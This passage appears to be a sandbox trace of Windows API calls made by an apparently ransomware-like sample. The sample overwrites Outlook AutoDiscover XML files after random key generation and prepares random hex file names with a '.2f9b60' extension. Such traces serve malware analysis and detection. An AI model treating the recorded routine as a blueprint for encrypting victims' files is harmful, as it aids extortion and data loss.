[0230.728] ReadFile (in: hFile=0x944, lpBuffer=0x42f95d20, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x2bb0f930, lpOverlapped=0x0 | out: lpBuffer=0x42f95d20*, lpNumberOfBytesRead=0x2bb0f930*=0x326, lpOverlapped=0x0) returned 1 [0230.728] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.728] WriteFile (in: hFile=0x944, lpBuffer=0x42f7b8b0*, nNumberOfBytesToWrite=0x326, lpNumberOfBytesWritten=0x2bb0f934, lpOverlapped=0x0 | out: lpBuffer=0x42f7b8b0*, lpNumberOfBytesWritten=0x2bb0f934*=0x326, lpOverlapped=0x0) returned 1 [0233.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263fe0 [0233.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260740 [0233.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260740) returned 1 [0233.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f7b8b0) returned 1 [0233.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f95d20) returned 1 [0233.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867940) returned 1 [0233.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97ad0) returned 1 [0233.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x431acda0 [0233.848] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.848] WriteFile (in: hFile=0x944, lpBuffer=0x431f2220*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2bb0fa50, lpOverlapped=0x0 | out: lpBuffer=0x431f2220*, lpNumberOfBytesWritten=0x2bb0fa50*=0x112, lpOverlapped=0x0) returned 1 [0236.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0236.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261dc0 [0236.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261dc0) returned 1 [0236.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261dc0 [0236.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202615e0 [0236.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637d0 [0236.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202637d0) returned 1 [0236.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0236.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97620 [0236.103] sprintf (in: _Dest=0x1cd97620, _Format="%c%c" | out: _Dest="91") returned 2 [0236.103] sprintf (in: _Dest=0x1cd97622, _Format="%c%c" | out: _Dest="a5") returned 2 [0236.103] sprintf (in: _Dest=0x1cd97624, _Format="%c%c" | out: _Dest="c4") returned 2 [0236.103] sprintf (in: _Dest=0x1cd97626, _Format="%c%c" | out: _Dest="ce") returned 2 [0236.103] sprintf (in: _Dest=0x1cd97628, _Format="%c%c" | out: _Dest="78") returned 2 [0236.103] sprintf (in: _Dest=0x1cd9762a, _Format="%c%c" | out: _Dest="ed") returned 2 [0236.103] sprintf (in: _Dest=0x1cd9762c, _Format="%c%c" | out: _Dest="30") returned 2 [0236.103] sprintf (in: _Dest=0x1cd9762e, _Format="%c%c" | out: _Dest="09") returned 2 [0236.103] sprintf (in: _Dest=0x1cd97630, _Format="%c%c" | out: _Dest="69") returned 2 [0236.103] sprintf (in: _Dest=0x1cd97632, _Format="%c%c" | out: _Dest="7b") returned 2 [0236.103] sprintf (in: _Dest=0x1cd97634, _Format="%c%c" | out: _Dest="a5") returned 2 [0236.103] sprintf (in: _Dest=0x1cd97636, _Format="%c%c" | out: _Dest="6b") returned 2 [0236.103] sprintf (in: _Dest=0x1cd97638, _Format="%c%c" | out: _Dest="20") returned 2 [0236.103] sprintf (in: _Dest=0x1cd9763a, _Format="%c%c" | out: _Dest="1e") returned 2 [0236.103] sprintf (in: _Dest=0x1cd9763c, _Format="%c%c" | out: _Dest="a7") returned 2 [0236.103] sprintf (in: _Dest=0x1cd9763e, _Format="%c%c" | out: _Dest="2b") returned 2 [0236.103] sprintf (in: _Dest=0x1cd97640, _Format="%c%c" | out: _Dest="c3") returned 2 [0236.103] sprintf (in: _Dest=0x1cd97642, _Format="%c%c" | out: _Dest="47") returned 2 [0236.103] sprintf (in: _Dest=0x1cd97644, _Format="%c%c" | out: _Dest="3a") returned 2 [0236.103] sprintf (in: _Dest=0x1cd97646, _Format="%c%c" | out: _Dest="6f") returned 2 [0236.103] sprintf (in: _Dest=0x1cd97648, _Format="%c%c" | out: _Dest="37") returned 2 [0236.103] sprintf (in: _Dest=0x1cd9764a, _Format="%c%c" | out: _Dest="10") returned 2 [0236.103] sprintf (in: _Dest=0x1cd9764c, _Format="%c%c" | out: _Dest="82") returned 2 [0236.103] sprintf (in: _Dest=0x1cd9764e, _Format="%c%c" | out: _Dest="eb") returned 2 [0236.104] sprintf (in: _Dest=0x1cd97650, _Format="%c%c" | out: _Dest="32") returned 2 [0236.104] sprintf (in: _Dest=0x1cd97652, _Format="%c%c" | out: _Dest="d5") returned 2 [0236.104] sprintf (in: _Dest=0x1cd97654, _Format="%c%c" | out: _Dest="e4") returned 2 [0236.104] sprintf (in: _Dest=0x1cd97656, _Format="%c%c" | out: _Dest="ad") returned 2 [0236.104] sprintf (in: _Dest=0x1cd97658, _Format="%c%c" | out: _Dest="e7") returned 2 [0236.104] sprintf (in: _Dest=0x1cd9765a, _Format="%c%c" | out: _Dest="a0") returned 2 [0236.104] sprintf (in: _Dest=0x1cd9765c, _Format="%c%c" | out: _Dest="d6") returned 2 [0236.104] sprintf (in: _Dest=0x1cd9765e, _Format="%c%c" | out: _Dest="b3") returned 2 [0236.104] RtlInitAnsiString (in: DestinationString=0x2bb0fac8, SourceString="91a5c4ce78ed3009697ba56b201ea72bc3473a6f371082eb32d5e4ade7a0d6b3" | out: DestinationString="91a5c4ce78ed3009697ba56b201ea72bc3473a6f371082eb32d5e4ade7a0d6b3") [0236.104] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bb0fa98, SourceString="91a5c4ce78ed3009697ba56b201ea72bc3473a6f371082eb32d5e4ade7a0d6b3", AllocateDestinationString=1 | out: DestinationString="91a5c4ce78ed3009697ba56b201ea72bc3473a6f371082eb32d5e4ade7a0d6b3") returned 0x0 [0236.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x42c23440 [0236.105] wcscat (in: _Dest=0x430e2720, _Source="91a5c4ce78ed3009" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\91a5c4ce78ed3009") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\91a5c4ce78ed3009" [0236.105] wcscat (in: _Dest=0x430e2720, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\91a5c4ce78ed3009.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\91a5c4ce78ed3009.2f9b60" [0236.105] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\91a5c4ce78ed3009.2f9b60", NtPathName=0x2bb0fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\91a5c4ce78ed3009.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x430d77c0 Thread: id = 3832 os_tid = 0x111c [0227.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.my.xml")) returned 0x20 [0229.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML", dwFileAttributes=0x20) returned 1 [0229.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.my.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1110 [0229.283] GetFileSizeEx (in: hFile=0x1110, lpFileSize=0x2f15f920 | out: lpFileSize=0x2f15f920*=812) returned 1 [0229.283] SetFilePointerEx (in: hFile=0x1110, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.283] ReadFile (in: hFile=0x1110, lpBuffer=0x2f15f8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f15f8e8, lpOverlapped=0x0 | out: lpBuffer=0x2f15f8a0*, lpNumberOfBytesRead=0x2f15f8e8*=0x4, lpOverlapped=0x0) returned 1 [0230.672] SetFilePointerEx (in: hFile=0x1110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637a0 [0230.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637d0 [0230.673] NtQuerySystemTime (in: CurrentTime=0x2f15f7e0 | out: CurrentTime=0x2f15f7e0*=132462178346626000) returned 0x0 [0230.673] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x8d50e39 [0230.673] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x1310445a [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x68cdb5b3 [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x16f0644f [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x570a3650 [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x10e4082b [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x4ff76cbb [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x1feda946 [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x1916bf5a [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x25798384 [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x3e8c074a [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x222077da [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x19b7926b [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x21c76fad [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x790cab69 [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x51c3829d [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x520820d6 [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x1ae21c9b [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x4dee9f40 [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x1b8d7f9b [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x43a058ca [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x3eb9c186 [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x51c3829d [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x3b6db0ac [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x43a058ca [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x5ab8b3bf [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x12910ede [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x441cc0d0 [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x34640be8 [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x10e4082b [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x78d07178 [0230.674] RtlRandomEx (in: Seed=0x2f15f7d0 | out: Seed=0x2f15f7d0) returned 0x6227a57c [0230.683] ReadFile (in: hFile=0x1110, lpBuffer=0x42f77ca0, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x2f15f7d0, lpOverlapped=0x0 | out: lpBuffer=0x42f77ca0*, lpNumberOfBytesRead=0x2f15f7d0*=0x32c, lpOverlapped=0x0) returned 1 [0230.684] SetFilePointerEx (in: hFile=0x1110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.684] WriteFile (in: hFile=0x1110, lpBuffer=0x42f99930*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x2f15f7d4, lpOverlapped=0x0 | out: lpBuffer=0x42f99930*, lpNumberOfBytesWritten=0x2f15f7d4*=0x32c, lpOverlapped=0x0) returned 1 [0233.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e00 [0233.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f40 [0233.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f40) returned 1 [0233.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f99930) returned 1 [0233.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f77ca0) returned 1 [0233.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ac0) returned 1 [0233.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0233.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x431ace20 [0233.836] SetFilePointerEx (in: hFile=0x1110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.837] WriteFile (in: hFile=0x1110, lpBuffer=0x431f2460*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f15f8f0, lpOverlapped=0x0 | out: lpBuffer=0x431f2460*, lpNumberOfBytesWritten=0x2f15f8f0*=0x112, lpOverlapped=0x0) returned 1 [0236.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0236.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f80 [0236.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260f80) returned 1 [0236.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f80 [0236.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262780 [0236.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262930 [0236.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262930) returned 1 [0236.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0236.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97620 [0236.089] sprintf (in: _Dest=0x1cd97620, _Format="%c%c" | out: _Dest="6f") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97622, _Format="%c%c" | out: _Dest="4a") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97624, _Format="%c%c" | out: _Dest="96") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97626, _Format="%c%c" | out: _Dest="af") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97628, _Format="%c%c" | out: _Dest="92") returned 2 [0236.089] sprintf (in: _Dest=0x1cd9762a, _Format="%c%c" | out: _Dest="f3") returned 2 [0236.089] sprintf (in: _Dest=0x1cd9762c, _Format="%c%c" | out: _Dest="c1") returned 2 [0236.089] sprintf (in: _Dest=0x1cd9762e, _Format="%c%c" | out: _Dest="02") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97630, _Format="%c%c" | out: _Dest="63") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97632, _Format="%c%c" | out: _Dest="8a") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97634, _Format="%c%c" | out: _Dest="35") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97636, _Format="%c%c" | out: _Dest="77") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97638, _Format="%c%c" | out: _Dest="7d") returned 2 [0236.089] sprintf (in: _Dest=0x1cd9763a, _Format="%c%c" | out: _Dest="98") returned 2 [0236.089] sprintf (in: _Dest=0x1cd9763c, _Format="%c%c" | out: _Dest="e2") returned 2 [0236.089] sprintf (in: _Dest=0x1cd9763e, _Format="%c%c" | out: _Dest="fa") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97640, _Format="%c%c" | out: _Dest="2d") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97642, _Format="%c%c" | out: _Dest="cd") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97644, _Format="%c%c" | out: _Dest="ba") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97646, _Format="%c%c" | out: _Dest="41") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97648, _Format="%c%c" | out: _Dest="59") returned 2 [0236.089] sprintf (in: _Dest=0x1cd9764a, _Format="%c%c" | out: _Dest="09") returned 2 [0236.089] sprintf (in: _Dest=0x1cd9764c, _Format="%c%c" | out: _Dest="21") returned 2 [0236.089] sprintf (in: _Dest=0x1cd9764e, _Format="%c%c" | out: _Dest="61") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97650, _Format="%c%c" | out: _Dest="09") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97652, _Format="%c%c" | out: _Dest="a9") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97654, _Format="%c%c" | out: _Dest="f5") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97656, _Format="%c%c" | out: _Dest="de") returned 2 [0236.089] sprintf (in: _Dest=0x1cd97658, _Format="%c%c" | out: _Dest="67") returned 2 [0236.089] sprintf (in: _Dest=0x1cd9765a, _Format="%c%c" | out: _Dest="75") returned 2 [0236.089] sprintf (in: _Dest=0x1cd9765c, _Format="%c%c" | out: _Dest="f0") returned 2 [0236.089] sprintf (in: _Dest=0x1cd9765e, _Format="%c%c" | out: _Dest="00") returned 2 [0236.089] RtlInitAnsiString (in: DestinationString=0x2f15f968, SourceString="6f4a96af92f3c102638a35777d98e2fa2dcdba415909216109a9f5de6775f000" | out: DestinationString="6f4a96af92f3c102638a35777d98e2fa2dcdba415909216109a9f5de6775f000") [0236.089] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f15f938, SourceString="6f4a96af92f3c102638a35777d98e2fa2dcdba415909216109a9f5de6775f000", AllocateDestinationString=1 | out: DestinationString="6f4a96af92f3c102638a35777d98e2fa2dcdba415909216109a9f5de6775f000") returned 0x0 [0236.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x42c22a20 [0236.090] wcscat (in: _Dest=0x43116ba0, _Source="6f4a96af92f3c102" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\6f4a96af92f3c102") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\6f4a96af92f3c102" [0236.091] wcscat (in: _Dest=0x43116ba0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\6f4a96af92f3c102.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\6f4a96af92f3c102.2f9b60" [0236.091] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\6f4a96af92f3c102.2f9b60", NtPathName=0x2f15f910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\6f4a96af92f3c102.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x430d76e0 Thread: id = 3833 os_tid = 0x1868 [0227.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ph.xml")) returned 0x20 [0229.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML", dwFileAttributes=0x20) returned 1 [0229.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ph.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x105c [0229.292] GetFileSizeEx (in: hFile=0x105c, lpFileSize=0x2f57f840 | out: lpFileSize=0x2f57f840*=812) returned 1 [0229.292] SetFilePointerEx (in: hFile=0x105c, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.292] ReadFile (in: hFile=0x105c, lpBuffer=0x2f57f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f57f808, lpOverlapped=0x0 | out: lpBuffer=0x2f57f7c0*, lpNumberOfBytesRead=0x2f57f808*=0x4, lpOverlapped=0x0) returned 1 [0230.512] SetFilePointerEx (in: hFile=0x105c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260fe0 [0230.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202636e0 [0230.513] NtQuerySystemTime (in: CurrentTime=0x2f57f700 | out: CurrentTime=0x2f57f700*=132462178345066000) returned 0x0 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x1e89384d [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x499a6385 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x7a506bb5 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x4c140625 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x3aeb83fd [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x59126fa6 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x10e81c71 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x966b81d [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x36136225 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x32a31922 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x681c6dfc [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x68fa07eb [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x43f2f6a1 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x5e7fd105 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x6bdfd824 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x4268b3e1 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x41912f6c [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x7109da75 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x4957cb90 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x4af2ea6e [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x36b5ee6b [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x1c38e29b [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x70883b58 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x3eae4f0 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x77bccdb5 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x347c6a76 [0230.513] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x166bd384 [0230.514] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x2e0043fd [0230.514] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x5f6b3476 [0230.514] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x54002a81 [0230.514] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x3b5552f5 [0230.514] RtlRandomEx (in: Seed=0x2f57f6f0 | out: Seed=0x2f57f6f0) returned 0x2d2782ab [0230.523] ReadFile (in: hFile=0x105c, lpBuffer=0x423ea600, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x2f57f6f0, lpOverlapped=0x0 | out: lpBuffer=0x423ea600*, lpNumberOfBytesRead=0x2f57f6f0*=0x32c, lpOverlapped=0x0) returned 1 [0230.523] SetFilePointerEx (in: hFile=0x105c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.523] WriteFile (in: hFile=0x105c, lpBuffer=0x423bd540*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x2f57f6f4, lpOverlapped=0x0 | out: lpBuffer=0x423bd540*, lpNumberOfBytesWritten=0x2f57f6f4*=0x32c, lpOverlapped=0x0) returned 1 [0233.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261190 [0233.769] RtlAllocateHeap 